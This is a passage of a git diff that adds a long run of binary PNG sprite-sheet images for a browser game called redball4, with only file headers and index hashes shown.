Binary files /dev/null and b/games/redball4/images/sprite17-sheet0.png differ
diff --git a/games/redball4/images/sprite170-sheet0.png b/games/redball4/images/sprite170-sheet0.png
new file mode 100644
index 00000000..37ce5af4
Binary files /dev/null and b/games/redball4/images/sprite170-sheet0.png differ
diff --git a/games/redball4/images/sprite171-sheet0.png b/games/redball4/images/sprite171-sheet0.png
new file mode 100644
index 00000000..f2cdeffc
Binary files /dev/null and b/games/redball4/images/sprite171-sheet0.png differ
diff --git a/games/redball4/images/sprite172-sheet0.png b/games/redball4/images/sprite172-sheet0.png
new file mode 100644
index 00000000..05574ce6
Binary files /dev/null and b/games/redball4/images/sprite172-sheet0.png differ
diff --git a/games/redball4/images/sprite173-sheet0.png b/games/redball4/images/sprite173-sheet0.png
new file mode 100644
index 00000000..da244d68
Binary files /dev/null and b/games/redball4/images/sprite173-sheet0.png differ
diff --git a/games/redball4/images/sprite174-sheet0.png b/games/redball4/images/sprite174-sheet0.png
new file mode 100644
index 00000000..99c14410
Binary files /dev/null and b/games/redball4/images/sprite174-sheet0.png differ
diff --git a/games/redball4/images/sprite175-sheet0.png b/games/redball4/images/sprite175-sheet0.png
new file mode 100644
index 00000000..b5232c21
Binary files /dev/null and b/games/redball4/images/sprite175-sheet0.png differ
diff --git a/games/redball4/images/sprite176-sheet0.png b/games/redball4/images/sprite176-sheet0.png
new file mode 100644
index 00000000..04968d34
Binary files /dev/null and b/games/redball4/images/sprite176-sheet0.png differ
diff --git a/games/redball4/images/sprite177-sheet0.png b/games/redball4/images/sprite177-sheet0.png
new file mode 100644
index 00000000..90b2a310
Binary files /dev/null and b/games/redball4/images/sprite177-sheet0.png differ
diff --git a/games/redball4/images/sprite178-sheet0.png b/games/redball4/images/sprite178-sheet0.png
new file mode 100644
index 00000000..99295934
Binary files /dev/null and b/games/redball4/images/sprite178-sheet0.png differ
diff --git a/games/redball4/images/sprite179-sheet0.png b/games/redball4/images/sprite179-sheet0.png
new file mode 100644
index 00000000..bb30ce13
Binary files /dev/null and b/games/redball4/images/sprite179-sheet0.png differ
diff --git a/games/redball4/images/sprite180-sheet0.png b/games/redball4/images/sprite180-sheet0.png
new file mode 100644
index 00000000..3029d00d
Binary files /dev/null and b/games/redball4/images/sprite180-sheet0.png differ
diff --git a/games/redball4/images/sprite181-sheet0.png b/games/redball4/images/sprite181-sheet0.png
new file mode 100644
index 00000000..6d1fb6a2
Binary files /dev/null and b/games/redball4/images/sprite181-sheet0.png differ
diff --git a/games/redball4/images/sprite182-sheet0.png b/games/redball4/images/sprite182-sheet0.png
new file mode 100644
index 00000000..7b710738
Binary files /dev/null and b/games/redball4/images/sprite182-sheet0.png differ
diff --git a/games/redball4/images/sprite183-sheet0.png b/games/redball4/images/sprite183-sheet0.png
new file mode 100644
index 00000000..ace20c9b
Binary files /dev/null and b/games/redball4/images/sprite183-sheet0.png differ
diff --git a/games/redball4/images/sprite184-sheet0.png b/games/redball4/images/sprite184-sheet0.png
new file mode 100644
index 00000000..8f048b76
Binary files /dev/null and b/games/redball4/images/sprite184-sheet0.png differ
diff --git a/games/redball4/images/sprite185-sheet0.png b/games/redball4/images/sprite185-sheet0.png
new file mode 100644
index 00000000..1a7e0e5c
Binary files /dev/null and b/games/redball4/images/sprite185-sheet0.png differ
diff --git a/games/redball4/images/sprite186-sheet0.png b/games/redball4/images/sprite186-sheet0.png
new file mode 100644
index 00000000..509a2b84
Binary files /dev/null and b/games/redball4/images/sprite186-sheet0.png differ
diff --git a/games/redball4/images/sprite188-sheet0.png b/games/redball4/images/sprite188-sheet0.png
new file mode 100644
index 00000000..3d023b8b
Binary files /dev/null and b/games/redball4/images/sprite188-sheet0.png differ
diff --git a/games/redball4/images/sprite189-sheet0.png b/games/redball4/images/sprite189-sheet0.png
new file mode 100644
index 00000000..e6ae15e9
Binary files /dev/null and b/games/redball4/images/sprite189-sheet0.png differ
diff --git a/games/redball4/images/sprite19-sheet0.png b/games/redball4/images/sprite19-sheet0.png
new file mode 100644
index 00000000..2923de55
Binary files /dev/null and b/games/redball4/images/sprite19-sheet0.png differ
diff --git a/games/redball4/images/sprite190-sheet0.png b/games/redball4/images/sprite190-sheet0.png
new file mode 100644
index 00000000..d2c74dee
Binary files /dev/null and b/games/redball4/images/sprite190-sheet0.png differ
diff --git a/games/redball4/images/sprite191-sheet0.png b/games/redball4/images/sprite191-sheet0.png
new file mode 100644
index 00000000..a01fde1c
Binary files /dev/null and b/games/redball4/images/sprite191-sheet0.png differ
diff --git a/games/redball4/images/sprite192-sheet0.png b/games/redball4/images/sprite192-sheet0.png
new file mode 100644
index 00000000..4481bab9
Binary files /dev/null and b/games/redball4/images/sprite192-sheet0.png differ
diff --git a/games/redball4/images/sprite193-sheet0.png b/games/redball4/images/sprite193-sheet0.png
new file mode 100644
index 00000000..cfcfbeff
Binary files /dev/null and b/games/redball4/images/sprite193-sheet0.png differ
diff --git a/games/redball4/images/sprite194-sheet0.png b/games/redball4/images/sprite194-sheet0.png
new file mode 100644
index 00000000..d63bc7b0
Binary files /dev/null and b/games/redball4/images/sprite194-sheet0.png differ
diff --git a/games/redball4/images/sprite195-sheet0.png b/games/redball4/images/sprite195-sheet0.png
new file mode 100644
index 00000000..e8441b96
Binary files /dev/null and b/games/redball4/images/sprite195-sheet0.png differ
diff --git a/games/redball4/images/sprite196-sheet0.png b/games/redball4/images/sprite196-sheet0.png
new file mode 100644
index 00000000..379981ee
Binary files /dev/null and b/games/redball4/images/sprite196-sheet0.png differ
diff --git a/games/redball4/images/sprite2-sheet0.png b/games/redball4/images/sprite2-sheet0.png
new file mode 100644
index 00000000..25e47862
Binary files /dev/null and b/games/redball4/images/sprite2-sheet0.png differ
diff --git a/games/redball4/images/sprite20-sheet0.png b/games/redball4/images/sprite20-sheet0.png
new file mode 100644
index 00000000..afd039ca
Binary files /dev/null and b/games/redball4/images/sprite20-sheet0.png differ
diff --git a/games/redball4/images/sprite200-sheet0.png b/games/redball4/images/sprite200-sheet0.png
new file mode 100644
index 00000000..899a12e9
Binary files /dev/null and b/games/redball4/images/sprite200-sheet0.png differ
diff --git a/games/redball4/images/sprite201-sheet0.png b/games/redball4/images/sprite201-sheet0.png
new file mode 100644
index 00000000..9435c102
Binary files /dev/null and b/games/redball4/images/sprite201-sheet0.png differ
diff --git a/games/redball4/images/sprite202-sheet0.png b/games/redball4/images/sprite202-sheet0.png
new file mode 100644
index 00000000..8fe04f7f
Binary files /dev/null and b/games/redball4/images/sprite202-sheet0.png differ
diff --git a/games/redball4/images/sprite203-sheet0.png b/games/redball4/images/sprite203-sheet0.png
new file mode 100644
index 00000000..3d3d7f5f
Binary files /dev/null and b/games/redball4/images/sprite203-sheet0.png differ
diff --git a/games/redball4/images/sprite204-sheet0.png b/games/redball4/images/sprite204-sheet0.png
new file mode 100644
index 00000000..1ed16dbb
Binary files /dev/null and b/games/redball4/images/sprite204-sheet0.png differ
diff --git a/games/redball4/images/sprite205-sheet0.png b/games/redball4/images/sprite205-sheet0.png
new file mode 100644
index 00000000..6be82fcc
Binary files /dev/null and b/games/redball4/images/sprite205-sheet0.png differ
diff --git a/games/redball4/images/sprite206-sheet0.png b/games/redball4/images/sprite206-sheet0.png
new file mode 100644
index 00000000..96ec04a5
Binary files /dev/null and b/games/redball4/images/sprite206-sheet0.png differ
diff --git a/games/redball4/images/sprite207-sheet0.png b/games/redball4/images/sprite207-sheet0.png
new file mode 100644
index 00000000..6f2c4801
Binary files /dev/null and b/games/redball4/images/sprite207-sheet0.png differ
diff --git a/games/redball4/images/sprite208-sheet0.png b/games/redball4/images/sprite208-sheet0.png
new file mode 100644
index 00000000..eea935cc
Binary files /dev/null and b/games/redball4/images/sprite208-sheet0.png differ
diff --git a/games/redball4/images/sprite209-sheet0.png b/games/redball4/images/sprite209-sheet0.png
new file mode 100644
index 00000000..9dfbd282
Binary files /dev/null and b/games/redball4/images/sprite209-sheet0.png differ
diff --git a/games/redball4/images/sprite21-sheet0.png b/games/redball4/images/sprite21-sheet0.png
new file mode 100644
index 00000000..2f2e03fb
Binary files /dev/null and b/games/redball4/images/sprite21-sheet0.png differ
diff --git a/games/redball4/images/sprite210-sheet0.png b/games/redball4/images/sprite210-sheet0.png
new file mode 100644
index 00000000..83650f98
Binary files /dev/null and b/games/redball4/images/sprite210-sheet0.png differ
diff --git a/games/redball4/images/sprite211-sheet0.png b/games/redball4/images/sprite211-sheet0.png
new file mode 100644
index 00000000..40210527
Binary files /dev/null and b/games/redball4/images/sprite211-sheet0.png differ
diff --git a/games/redball4/images/sprite213-sheet0.png b/games/redball4/images/sprite213-sheet0.png
new file mode 100644
index 00000000..8a5d2b1e
Binary files /dev/null and b/games/redball4/images/sprite213-sheet0.png differ
diff --git a/games/redball4/images/sprite214-sheet0.png b/games/redball4/images/sprite214-sheet0.png
new file mode 100644
index 00000000..c6036fbe
Binary files /dev/null and b/games/redball4/images/sprite214-sheet0.png differ
diff --git a/games/redball4/images/sprite216-sheet0.png b/games/redball4/images/sprite216-sheet0.png
new file mode 100644
index 00000000..85b41c4d
Binary files /dev/null and b/games/redball4/images/sprite216-sheet0.png differ
diff --git a/games/redball4/images/sprite218-sheet0.png b/games/redball4/images/sprite218-sheet0.png
new file mode 100644
index 00000000..269938b0
Binary files /dev/null and b/games/redball4/images/sprite218-sheet0.png differ
diff --git a/games/redball4/images/sprite219-sheet0.png b/games/redball4/images/sprite219-sheet0.png
new file mode 100644
index 00000000..032a7428
Binary files /dev/null and b/games/redball4/images/sprite219-sheet0.png differ
diff --git a/games/redball4/images/sprite22-sheet0.png b/games/redball4/images/sprite22-sheet0.png
new file mode 100644
index 00000000..49b8be00
Binary files /dev/null and b/games/redball4/images/sprite22-sheet0.png differ
diff --git a/games/redball4/images/sprite221-sheet0.png b/games/redball4/images/sprite221-sheet0.png
new file mode 100644
index 00000000..e06ae430
Binary files /dev/null and b/games/redball4/images/sprite221-sheet0.png differ
diff --git a/games/redball4/images/sprite222-sheet0.png b/games/redball4/images/sprite222-sheet0.png
new file mode 100644
index 00000000..fc96ff57
Binary files /dev/null and b/games/redball4/images/sprite222-sheet0.png differ
diff --git a/games/redball4/images/sprite223-sheet0.png b/games/redball4/images/sprite223-sheet0.png
new file mode 100644
index 00000000..444d8788
Binary files /dev/null and b/games/redball4/images/sprite223-sheet0.png differ
diff --git a/games/redball4/images/sprite224-sheet0.png b/games/redball4/images/sprite224-sheet0.png
new file mode 100644
index 00000000..de52b21f
Binary files /dev/null and b/games/redball4/images/sprite224-sheet0.png differ
diff --git a/games/redball4/images/sprite225-sheet0.png b/games/redball4/images/sprite225-sheet0.png
new file mode 100644
index 00000000..6d1d1a85
Binary files /dev/null and b/games/redball4/images/sprite225-sheet0.png differ
diff --git a/games/redball4/images/sprite225-sheet1.png b/games/redball4/images/sprite225-sheet1.png
new file mode 100644
index 00000000..4d2e29a1
Binary files /dev/null and b/games/redball4/images/sprite225-sheet1.png differ
diff --git a/games/redball4/images/sprite226-sheet0.png b/games/redball4/images/sprite226-sheet0.png
new file mode 100644
index 00000000..47ad2148
Binary files /dev/null and b/games/redball4/images/sprite226-sheet0.png differ
diff --git a/games/redball4/images/sprite226-sheet1.png b/games/redball4/images/sprite226-sheet1.png
new file mode 100644
index 00000000..659dd8c1
Binary files /dev/null and b/games/redball4/images/sprite226-sheet1.png differ
diff --git a/games/redball4/images/sprite227-sheet0.png b/games/redball4/images/sprite227-sheet0.png
new file mode 100644
index 00000000..ba2d59a1
Binary files /dev/null and b/games/redball4/images/sprite227-sheet0.png differ
diff --git a/games/redball4/images/sprite228-sheet0.png b/games/redball4/images/sprite228-sheet0.png
new file mode 100644
index 00000000..00947c3c
Binary files /dev/null and b/games/redball4/images/sprite228-sheet0.png differ
diff --git a/games/redball4/images/sprite22se-sheet0.png b/games/redball4/images/sprite22se-sheet0.png
new file mode 100644
index 00000000..d93af8b6
Binary files /dev/null and b/games/redball4/images/sprite22se-sheet0.png differ
diff --git a/games/redball4/images/sprite22se-sheet1.png b/games/redball4/images/sprite22se-sheet1.png
new file mode 100644
index 00000000..ab8dcdec
Binary files /dev/null and b/games/redball4/images/sprite22se-sheet1.png differ
diff --git a/games/redball4/images/sprite22se-sheet2.png b/games/redball4/images/sprite22se-sheet2.png
new file mode 100644
index 00000000..a30e7a1a
Binary files /dev/null and b/games/redball4/images/sprite22se-sheet2.png differ
diff --git a/games/redball4/images/sprite22se-sheet3.png b/games/redball4/images/sprite22se-sheet3.png
new file mode 100644
index 00000000..f8416b10
Binary files /dev/null and b/games/redball4/images/sprite22se-sheet3.png differ
diff --git a/games/redball4/images/sprite23-sheet0.png b/games/redball4/images/sprite23-sheet0.png
new file mode 100644
index 00000000..d71b273d
Binary files /dev/null and b/games/redball4/images/sprite23-sheet0.png differ
diff --git a/games/redball4/images/sprite230-sheet0.png b/games/redball4/images/sprite230-sheet0.png
new file mode 100644
index 00000000..b7db93c2
Binary files /dev/null and b/games/redball4/images/sprite230-sheet0.png differ
diff --git a/games/redball4/images/sprite231-sheet0.png b/games/redball4/images/sprite231-sheet0.png
new file mode 100644
index 00000000..cd4d0b87
Binary files /dev/null and b/games/redball4/images/sprite231-sheet0.png differ
diff --git a/games/redball4/images/sprite232-sheet0.png b/games/redball4/images/sprite232-sheet0.png
new file mode 100644
index 00000000..6f043ac8
Binary files /dev/null and b/games/redball4/images/sprite232-sheet0.png differ
diff --git a/games/redball4/images/sprite233-sheet0.png b/games/redball4/images/sprite233-sheet0.png
new file mode 100644
index 00000000..11917326
Binary files /dev/null and b/games/redball4/images/sprite233-sheet0.png differ
diff --git a/games/redball4/images/sprite234-sheet0.png b/games/redball4/images/sprite234-sheet0.png
new file mode 100644
index 00000000..d166d4b4
Binary files /dev/null and b/games/redball4/images/sprite234-sheet0.png differ
diff --git a/games/redball4/images/sprite235-sheet0.png b/games/redball4/images/sprite235-sheet0.png
new file mode 100644
index 00000000..ba57f018
Binary files /dev/null and b/games/redball4/images/sprite235-sheet0.png differ
diff --git a/games/redball4/images/sprite236-sheet0.png b/games/redball4/images/sprite236-sheet0.png
new file mode 100644
index 00000000..11f54f36
Binary files /dev/null and b/games/redball4/images/sprite236-sheet0.png differ
diff --git a/games/redball4/images/sprite237-sheet0.png b/games/redball4/images/sprite237-sheet0.png
new file mode 100644
index 00000000..02568b49
Binary files /dev/null and b/games/redball4/images/sprite237-sheet0.png differ
diff --git a/games/redball4/images/sprite24-sheet0.png b/games/redball4/images/sprite24-sheet0.png
new file mode 100644
index 00000000..6711c2d3
Binary files /dev/null and b/games/redball4/images/sprite24-sheet0.png differ
diff --git a/games/redball4/images/sprite244-sheet0.png b/games/redball4/images/sprite244-sheet0.png
new file mode 100644
index 00000000..6d56e503
Binary files /dev/null and b/games/redball4/images/sprite244-sheet0.png differ
diff --git a/games/redball4/images/sprite245-sheet0.png b/games/redball4/images/sprite245-sheet0.png
new file mode 100644
index 00000000..2db45a73
Binary files /dev/null and b/games/redball4/images/sprite245-sheet0.png differ
diff --git a/games/redball4/images/sprite246-sheet0.png b/games/redball4/images/sprite246-sheet0.png
new file mode 100644
index 00000000..5da29a65
Binary files /dev/null and b/games/redball4/images/sprite246-sheet0.png differ
diff --git a/games/redball4/images/sprite247-sheet0.png b/games/redball4/images/sprite247-sheet0.png
new file mode 100644
index 00000000..a204593c
Binary files /dev/null and b/games/redball4/images/sprite247-sheet0.png differ
diff --git a/games/redball4/images/sprite248-sheet0.png b/games/redball4/images/sprite248-sheet0.png
new file mode 100644
index 00000000..b4e75a08
Binary files /dev/null and b/games/redball4/images/sprite248-sheet0.png differ
diff --git a/games/redball4/images/sprite249-sheet0.png b/games/redball4/images/sprite249-sheet0.png
new file mode 100644
index 00000000..ada99ec5
Binary files /dev/null and b/games/redball4/images/sprite249-sheet0.png differ
diff --git a/games/redball4/images/sprite249-sheet1.png b/games/redball4/images/sprite249-sheet1.png
new file mode 100644
index 00000000..7951eaf5
Binary files /dev/null and b/games/redball4/images/sprite249-sheet1.png differ
diff --git a/games/redball4/images/sprite249-sheet2.png b/games/redball4/images/sprite249-sheet2.png
new file mode 100644
index 00000000..40f46735
Binary files /dev/null and b/games/redball4/images/sprite249-sheet2.png differ
diff --git a/games/redball4/images/sprite25-sheet0.png b/games/redball4/images/sprite25-sheet0.png
new file mode 100644
index 00000000..44699139
Binary files /dev/null and b/games/redball4/images/sprite25-sheet0.png differ
diff --git a/games/redball4/images/sprite250-sheet0.png b/games/redball4/images/sprite250-sheet0.png
new file mode 100644
index 00000000..ff525974
Binary files /dev/null and b/games/redball4/images/sprite250-sheet0.png differ
diff --git a/games/redball4/images/sprite252-sheet0.png b/games/redball4/images/sprite252-sheet0.png
new file mode 100644
index 00000000..728fc614
Binary files /dev/null and b/games/redball4/images/sprite252-sheet0.png differ
diff --git a/games/redball4/images/sprite253-sheet0.png b/games/redball4/images/sprite253-sheet0.png
new file mode 100644
index 00000000..1823afae
Binary files /dev/null and b/games/redball4/images/sprite253-sheet0.png differ
diff --git a/games/redball4/images/sprite254-sheet0.png b/games/redball4/images/sprite254-sheet0.png
new file mode 100644
index 00000000..bd8650aa
Binary files /dev/null and b/games/redball4/images/sprite254-sheet0.png differ
diff --git a/games/redball4/images/sprite255-sheet0.png b/games/redball4/images/sprite255-sheet0.png
new file mode 100644
index 00000000..8199e6c2
Binary files /dev/null and b/games/redball4/images/sprite255-sheet0.png differ
diff --git a/games/redball4/images/sprite256-sheet0.png b/games/redball4/images/sprite256-sheet0.png
new file mode 100644
index 00000000..821cec1a
Binary files /dev/null and b/games/redball4/images/sprite256-sheet0.png differ
diff --git a/games/redball4/images/sprite258-sheet0.png b/games/redball4/images/sprite258-sheet0.png
new file mode 100644
index 00000000..d254cd3f
Binary files /dev/null and b/games/redball4/images/sprite258-sheet0.png differ
diff --git a/games/redball4/images/sprite259-sheet0.png b/games/redball4/images/sprite259-sheet0.png
new file mode 100644
index 00000000..30f3d73f
Binary files /dev/null and b/games/redball4/images/sprite259-sheet0.png differ
diff --git a/games/redball4/images/sprite26-sheet0.png b/games/redball4/images/sprite26-sheet0.png
new file mode 100644
index 00000000..6f3bcb01
Binary files /dev/null and b/games/redball4/images/sprite26-sheet0.png differ
diff --git a/games/redball4/images/sprite260-sheet0.png b/games/redball4/images/sprite260-sheet0.png
new file mode 100644
index 00000000..651f5c74
Binary files /dev/null and b/games/redball4/images/sprite260-sheet0.png differ
diff --git a/games/redball4/images/sprite261-sheet0.png b/games/redball4/images/sprite261-sheet0.png
new file mode 100644
index 00000000..cca3426d
Binary files /dev/null and b/games/redball4/images/sprite261-sheet0.png differ
diff --git a/games/redball4/images/sprite262-sheet0.png b/games/redball4/images/sprite262-sheet0.png
new file mode 100644
index 00000000..72c2bdac
Binary files /dev/null and b/games/redball4/images/sprite262-sheet0.png differ
diff --git a/games/redball4/images/sprite263-sheet0.png b/games/redball4/images/sprite263-sheet0.png
new file mode 100644
index 00000000..40b750a5
Binary files /dev/null and b/games/redball4/images/sprite263-sheet0.png differ
diff --git a/games/redball4/images/sprite264-sheet0.png b/games/redball4/images/sprite264-sheet0.png
new file mode 100644
index 00000000..d26a3a4f
Binary files /dev/null and b/games/redball4/images/sprite264-sheet0.png differ
diff --git a/games/redball4/images/sprite265-sheet0.png b/games/redball4/images/sprite265-sheet0.png
new file mode 100644
index 00000000..e258e0d0
Binary files /dev/null and b/games/redball4/images/sprite265-sheet0.png differ
diff --git a/games/redball4/images/sprite266-sheet0.png b/games/redball4/images/sprite266-sheet0.png
new file mode 100644
index 00000000..71de7f75
Binary files /dev/null and b/games/redball4/images/sprite266-sheet0.png differ
diff --git a/games/redball4/images/sprite27-sheet0.png b/games/redball4/images/sprite27-sheet0.png
new file mode 100644
index 00000000..6521a8d2
Binary files /dev/null and b/games/redball4/images/sprite27-sheet0.png differ
diff --git a/games/redball4/images/sprite271-sheet0.png b/games/redball4/images/sprite271-sheet0.png
new file mode 100644
index 00000000..d251058a
Binary files /dev/null and b/games/redball4/images/sprite271-sheet0.png differ
diff --git a/games/redball4/images/sprite273-sheet0.png b/games/redball4/images/sprite273-sheet0.png
new file mode 100644
index 00000000..b5dde908
Binary files /dev/null and b/games/redball4/images/sprite273-sheet0.png differ
diff --git a/games/redball4/images/sprite274-sheet0.png b/games/redball4/images/sprite274-sheet0.png
new file mode 100644
index 00000000..6e657931
Binary files /dev/null and b/games/redball4/images/sprite274-sheet0.png differ
diff --git a/games/redball4/images/sprite28-sheet0.png b/games/redball4/images/sprite28-sheet0.png
new file mode 100644
index 00000000..e19611ef
Binary files /dev/null and b/games/redball4/images/sprite28-sheet0.png differ
diff --git a/games/redball4/images/sprite285-sheet0.png b/games/redball4/images/sprite285-sheet0.png
new file mode 100644
index 00000000..e310090b
Binary files /dev/null and b/games/redball4/images/sprite285-sheet0.png differ
diff --git a/games/redball4/images/sprite287-sheet0.png b/games/redball4/images/sprite287-sheet0.png
new file mode 100644
index 00000000..63e85e12
Binary files /dev/null and b/games/redball4/images/sprite287-sheet0.png differ
diff --git a/games/redball4/images/sprite289-sheet0.png b/games/redball4/images/sprite289-sheet0.png
new file mode 100644
index 00000000..ecb8b3b0
Binary files /dev/null and b/games/redball4/images/sprite289-sheet0.png differ
diff --git a/games/redball4/images/sprite290-sheet0.png b/games/redball4/images/sprite290-sheet0.png
new file mode 100644
index 00000000..fa06c566
Binary files /dev/null and b/games/redball4/images/sprite290-sheet0.png differ
diff --git a/games/redball4/images/sprite290-sheet1.png b/games/redball4/images/sprite290-sheet1.png
new file mode 100644
index 00000000..d4383411
Binary files /dev/null and b/games/redball4/images/sprite290-sheet1.png differ
diff --git a/games/redball4/images/sprite291-sheet0.png b/games/redball4/images/sprite291-sheet0.png
new file mode 100644
index 00000000..7c91bde4
Binary files /dev/null and b/games/redball4/images/sprite291-sheet0.png differ
diff --git a/games/redball4/images/sprite292-sheet0.png b/games/redball4/images/sprite292-sheet0.png
new file mode 100644
index 00000000..a5798307
Binary files /dev/null and b/games/redball4/images/sprite292-sheet0.png differ
diff --git a/games/redball4/images/sprite293-sheet0.png b/games/redball4/images/sprite293-sheet0.png
new file mode 100644
index 00000000..5b8229cd
Binary files /dev/null and b/games/redball4/images/sprite293-sheet0.png differ
diff --git a/games/redball4/images/sprite294-sheet0.png b/games/redball4/images/sprite294-sheet0.png
new file mode 100644
index 00000000..c8e8e800
Binary files /dev/null and b/games/redball4/images/sprite294-sheet0.png differ
diff --git a/games/redball4/images/sprite295-sheet0.png b/games/redball4/images/sprite295-sheet0.png
new file mode 100644
index 00000000..2229201c
Binary files /dev/null and b/games/redball4/images/sprite295-sheet0.png differ
diff --git a/games/redball4/images/sprite296-sheet0.png b/games/redball4/images/sprite296-sheet0.png
new file mode 100644
index 00000000..7000ddd1
Binary files /dev/null and b/games/redball4/images/sprite296-sheet0.png differ
diff --git a/games/redball4/images/sprite297-sheet0.png b/games/redball4/images/sprite297-sheet0.png
new file mode 100644
index 00000000..637de6bd
Binary files /dev/null and b/games/redball4/images/sprite297-sheet0.png differ
diff --git a/games/redball4/images/sprite298-sheet0.png b/games/redball4/images/sprite298-sheet0.png
new file mode 100644
index 00000000..1689df53
Binary files /dev/null and b/games/redball4/images/sprite298-sheet0.png differ
diff --git a/games/redball4/images/sprite299-sheet0.png b/games/redball4/images/sprite299-sheet0.png
new file mode 100644
index 00000000..1d6f2025
Binary files /dev/null and b/games/redball4/images/sprite299-sheet0.png differ
diff --git a/games/redball4/images/sprite30-sheet0.png b/games/redball4/images/sprite30-sheet0.png
new file mode 100644
index 00000000..9f5fdbc8
Binary files /dev/null and b/games/redball4/images/sprite30-sheet0.png differ
diff --git a/games/redball4/images/sprite300-sheet0.png b/games/redball4/images/sprite300-sheet0.png
new file mode 100644
index 00000000..1acbcc5f
Binary files /dev/null and b/games/redball4/images/sprite300-sheet0.png differ
diff --git a/games/redball4/images/sprite301-sheet0.png b/games/redball4/images/sprite301-sheet0.png
new file mode 100644
index 00000000..7ef8e899
Binary files /dev/null and b/games/redball4/images/sprite301-sheet0.png differ
diff --git a/games/redball4/images/sprite302-sheet0.png b/games/redball4/images/sprite302-sheet0.png
new file mode 100644
index 00000000..9176a914
Binary files /dev/null and b/games/redball4/images/sprite302-sheet0.png differ
diff --git a/games/redball4/images/sprite303-sheet0.png b/games/redball4/images/sprite303-sheet0.png
new file mode 100644
index 00000000..1dfaac4b
Binary files /dev/null and b/games/redball4/images/sprite303-sheet0.png differ
diff --git a/games/redball4/images/sprite305-sheet0.png b/games/redball4/images/sprite305-sheet0.png
new file mode 100644
index 00000000..524a6308
Binary files /dev/null and b/games/redball4/images/sprite305-sheet0.png differ
diff --git a/games/redball4/images/sprite306-sheet0.png b/games/redball4/images/sprite306-sheet0.png
new file mode 100644
index 00000000..1af43c2c
Binary files /dev/null and b/games/redball4/images/sprite306-sheet0.png differ
diff --git a/games/redball4/images/sprite307-sheet0.png b/games/redball4/images/sprite307-sheet0.png
new file mode 100644
index 00000000..bfa6c766
Binary files /dev/null and b/games/redball4/images/sprite307-sheet0.png differ
diff --git a/games/redball4/images/sprite309-sheet0.png b/games/redball4/images/sprite309-sheet0.png
new file mode 100644
index 00000000..d6936011
Binary files /dev/null and b/games/redball4/images/sprite309-sheet0.png differ
diff --git a/games/redball4/images/sprite31-sheet0.png b/games/redball4/images/sprite31-sheet0.png
new file mode 100644
index 00000000..11c40bcd
Binary files /dev/null and b/games/redball4/images/sprite31-sheet0.png differ
diff --git a/games/redball4/images/sprite310-sheet0.png b/games/redball4/images/sprite310-sheet0.png
new file mode 100644
index 00000000..0fd81cee
Binary files /dev/null and b/games/redball4/images/sprite310-sheet0.png differ
diff --git a/games/redball4/images/sprite312-sheet0.png b/games/redball4/images/sprite312-sheet0.png
new file mode 100644
index 00000000..150b6548
Binary files /dev/null and b/games/redball4/images/sprite312-sheet0.png differ
diff --git a/games/redball4/images/sprite313-sheet0.png b/games/redball4/images/sprite313-sheet0.png
new file mode 100644
index 00000000..48fe4ca8
Binary files /dev/null and b/games/redball4/images/sprite313-sheet0.png differ
diff --git a/games/redball4/images/sprite314-sheet0.png b/games/redball4/images/sprite314-sheet0.png
new file mode 100644
index 00000000..c91a5c67
Binary files /dev/null and b/games/redball4/images/sprite314-sheet0.png differ
diff --git a/games/redball4/images/sprite315-sheet0.png b/games/redball4/images/sprite315-sheet0.png
new file mode 100644
index 00000000..32b65280
Binary files /dev/null and b/games/redball4/images/sprite315-sheet0.png differ
diff --git a/games/redball4/images/sprite316-sheet0.png b/games/redball4/images/sprite316-sheet0.png
new file mode 100644
index 00000000..7db7490c
Binary files /dev/null and b/games/redball4/images/sprite316-sheet0.png differ
diff --git a/games/redball4/images/sprite317-sheet0.png b/games/redball4/images/sprite317-sheet0.png
new file mode 100644
index 00000000..a77a7510
Binary files /dev/null and b/games/redball4/images/sprite317-sheet0.png differ
diff --git a/games/redball4/images/sprite318-sheet0.png b/games/redball4/images/sprite318-sheet0.png
new file mode 100644
index 00000000..4f95a59d
Binary files /dev/null and b/games/redball4/images/sprite318-sheet0.png differ
diff --git a/games/redball4/images/sprite319-sheet0.png b/games/redball4/images/sprite319-sheet0.png
new file mode 100644
index 00000000..f6b55500
Binary files /dev/null and b/games/redball4/images/sprite319-sheet0.png differ
diff --git a/games/redball4/images/sprite32-sheet0.png b/games/redball4/images/sprite32-sheet0.png
new file mode 100644
index 00000000..a026cb8e
Binary files /dev/null and b/games/redball4/images/sprite32-sheet0.png differ
diff --git a/games/redball4/images/sprite320-sheet0.png b/games/redball4/images/sprite320-sheet0.png
new file mode 100644
index 00000000..25871d7c
Binary files /dev/null and b/games/redball4/images/sprite320-sheet0.png differ
diff --git a/games/redball4/images/sprite321-sheet0.png b/games/redball4/images/sprite321-sheet0.png
new file mode 100644
index 00000000..d871dce9
Binary files /dev/null and b/games/redball4/images/sprite321-sheet0.png differ
diff --git a/games/redball4/images/sprite322-sheet0.png b/games/redball4/images/sprite322-sheet0.png
new file mode 100644
index 00000000..ebc37c02
Binary files /dev/null and b/games/redball4/images/sprite322-sheet0.png differ
diff --git a/games/redball4/images/sprite323-sheet0.png b/games/redball4/images/sprite323-sheet0.png
new file mode 100644
index 00000000..6f361632
Binary files /dev/null and b/games/redball4/images/sprite323-sheet0.png differ
diff --git a/games/redball4/images/sprite324-sheet0.png b/games/redball4/images/sprite324-sheet0.png
new file mode 100644
index 00000000..81a6526e
Binary files /dev/null and b/games/redball4/images/sprite324-sheet0.png differ
diff --git a/games/redball4/images/sprite325-sheet0.png b/games/redball4/images/sprite325-sheet0.png
new file mode 100644
index 00000000..4f182d73
Binary files /dev/null and b/games/redball4/images/sprite325-sheet0.png differ
diff --git a/games/redball4/images/sprite326-sheet0.png b/games/redball4/images/sprite326-sheet0.png
new file mode 100644
index 00000000..599f3e86
Binary files /dev/null and b/games/redball4/images/sprite326-sheet0.png differ
diff --git a/games/redball4/images/sprite328-sheet0.png b/games/redball4/images/sprite328-sheet0.png
new file mode 100644
index 00000000..f0ec1e91
Binary files /dev/null and b/games/redball4/images/sprite328-sheet0.png differ
diff --git a/games/redball4/images/sprite329-sheet0.png b/games/redball4/images/sprite329-sheet0.png
new file mode 100644
index 00000000..10aba231
Binary files /dev/null and b/games/redball4/images/sprite329-sheet0.png differ
diff --git a/games/redball4/images/sprite33-sheet0.png b/games/redball4/images/sprite33-sheet0.png
new file mode 100644
index 00000000..f82f6ac7
Binary files /dev/null and b/games/redball4/images/sprite33-sheet0.png differ
diff --git a/games/redball4/images/sprite330-sheet0.png b/games/redball4/images/sprite330-sheet0.png
new file mode 100644
index 00000000..18d75430
Binary files /dev/null and b/games/redball4/images/sprite330-sheet0.png differ
diff --git a/games/redball4/images/sprite331-sheet0.png b/games/redball4/images/sprite331-sheet0.png
